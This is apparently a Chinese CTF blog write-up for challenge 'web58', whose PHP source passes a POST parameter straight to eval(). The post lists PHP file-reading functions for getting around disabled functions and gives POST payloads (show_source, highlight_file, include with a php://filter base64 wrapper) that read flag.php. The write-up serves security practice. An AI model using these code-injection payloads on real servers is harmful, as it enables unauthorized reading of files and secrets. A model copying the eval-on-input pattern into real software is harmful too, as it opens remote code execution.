web58笔记(POST突破禁用函数)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这⾥开始就是post了,后⾯的所有题基本都能⽤蚁剑直接连接,但是这⾥不是想这样考就不这样了

这题给的是eval,之前是system可以执⾏命令,⽽eval是⽂本转php代码

eval和system对应的应该是 代码执⾏和命令执⾏,不能搞混了

这⾥直接copy⼀下南神积累的读取⽂件的函数

highlight_file($filename);

show_source($filename);

print_r(php_strip_whitespace($filename));

print_r(file_get_contents($filename));

readfile($filename);

print_r(file($filename)); // var_dump

fread(fopen($filename,"r"), $size);

include($filename); // ⾮php代码

include_once($filename); // ⾮php代码

require($filename); // ⾮php代码

require_once($filename); // ⾮php代码

print_r(fread(popen("cat flag", "r"), $size));

print_r(fgets(fopen($filename, "r"))); // 读取⼀⾏

fpassthru(fopen($filename, "r")); // 从当前位置⼀直读取到 EOF

print_r(fgetcsv(fopen($filename,"r"), $size));

print_r(fgetss(fopen($filename, "r"))); // 从⽂件指针中读取⼀⾏并过滤掉 HTML 标 记

print_r(fscanf(fopen("flag", "r"),"%s"));

print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

 

这⾥直接show_source即可

POST: c=show_source("flag.php");

 其他类似解法:

两种解法

POST传参:c=highlight_file("flag.php");

POST传参:c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

posted @ 2025-03-15 15:46  justdoIT*  阅读(14)  评论(0)    收藏  举报